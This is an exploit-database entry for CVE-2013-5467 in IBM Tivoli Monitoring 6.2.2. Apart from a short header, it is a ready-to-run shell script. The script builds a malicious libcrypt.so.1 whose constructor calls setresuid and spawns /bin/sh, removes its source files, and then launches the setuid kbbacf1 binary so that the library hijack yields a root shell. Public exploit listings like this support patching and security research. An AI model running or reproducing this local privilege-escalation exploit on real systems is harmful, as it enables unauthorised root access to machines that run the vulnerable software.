IBM Tivoli Monitoring 6.2.2 kbbacf1 - Local Privilege Escalation

EDB-ID:

35112




Platform:

Linux

Date:

2014-10-29


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#!/bin/sh
# Title: IBM Tivoli Monitoring V6.2.2 kbbacf1 privilege escalation exploit
# CVE: CVE-2013-5467
# Vendor Homepage: http://www-03.ibm.com/software/products/pl/tivomoni
# Author: Robert Jaroszuk
# Tested on: RedHat 5, Centos 5
# Vulnerable version: IBM Tivoli Monitoring V6.2.2 (other versions not tested)
#
echo "[+] Tivoli pwner kbbacf1 privilege escalation exploit by Robert Jaroszuk"
echo "[+] Preparing the code..."
cat > kbbacf1-pwn.c << DONE
#define _GNU_SOURCE
#include <unistd.h>
#include <stdlib.h>
#include <dlfcn.h>

void __cxa_finalize (void *d) {
    return;
}

void __attribute__((constructor)) init() {
    setresuid(geteuid(), geteuid(), geteuid());
    execl("/bin/sh", (char *)NULL, (char *)NULL);
}
DONE

cat > version << DONE
GLIBC_2.2.5 { };
GLIBC_2.3 { };
GLIBC_2.3.2 { };
GLIBC_PRIVATE { };
DONE
echo "[+] Preparing the code... part2"
/usr/bin/gcc -Wall -fPIC -shared -static-libgcc -Wl,--version-script=version -o libcrypt.so.1 kbbacf1-pwn.c

echo "[+] Cleaning up..."
/bin/rm -f kbbacf1-pwn.c version

echo "[+] Exploiting."
/opt/IBM/ITM/tmaitm6/lx8266/bin/kbbacf1